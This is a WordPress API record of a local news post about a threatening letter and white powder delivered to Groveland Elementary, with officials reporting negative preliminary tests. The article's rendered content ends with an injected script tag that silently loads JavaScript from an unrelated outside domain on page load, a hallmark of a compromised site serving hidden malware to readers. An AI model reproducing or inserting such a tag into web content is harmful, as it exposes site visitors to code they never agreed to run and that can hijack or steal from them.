{"id":220644,"date":"2018-09-29T13:02:09","date_gmt":"2018-09-29T17:02:09","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=220644"},"modified":"2019-11-27T01:36:55","modified_gmt":"2019-11-27T06:36:55","slug":"threatening-letter-powdery-substance-delivered-to-groveland-elememtary","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/threatening-letter-powdery-substance-delivered-to-groveland-elememtary\/","title":{"rendered":"Threatening Letter, Powdery Substance Delivered to Groveland Elememtary"},"content":{"rendered":"<p><strong>GROVELAND &#8212;\u00a0<\/strong>Police, firefighters, and members of the Lake County hazmat team were dispatched to Groveland Elementary Thursday afternoon after faculty members discovered an envelope that had been delivered contained a threatening letter and a &#8220;white, powdery substance&#8221;.<\/p>\n<p>The incident occurred shortly after most of the children had gone home for the day, according to a statement released by the City of Groveland.<\/p>\n<p>Although most of the kids had already gone home, some students were still at the school attending after-school care during the time of the incident, however, were reportedly in a separate building and did not come into contact with the envelope.<\/p>\n<p>Groveland\u00a0Police, Lake County Hazmat, and firefighters from Groveland, Minneola, and Lake County quarantined the building along with three school employees while running tests on the powdery substance.<\/p>\n<p>After preliminary tests showed the substance\u00a0what not a threat, officials cleared the school employees and children were permitted to leave.<\/p>\n<p>&#8220;Preliminary tests came back negative for any biological threat,&#8221; stated Groveland Police Chief Shawn Ramsey.<\/p>\n<p>The contents of the unsigned threatening note have not been released by officials and no suspect has been identified at this time.<\/p>\n<p>According to the statement, the envelope, note, and powdery substance will be forwarded to the federal authorities who will take over the investigation.<\/p>\n<p>Anyone with information about the delivery or the suspect is asked to contact their local law enforcement.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Police respond to Groveland Elementary School after faculty finds an envelope with a threatening message and white powdery substance.<\/p>\n","protected":false},"author":1,"featured_media":220645,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[3246,3245,325,6,1],"tags":[],"class_list":["post-220644","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-community","category-crime","category-florida-news","category-lake-county","category-local","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/Groveland-hazmat-scene.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/220644","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=220644"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/220644\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/220645"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=220644"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=220644"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=220644"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}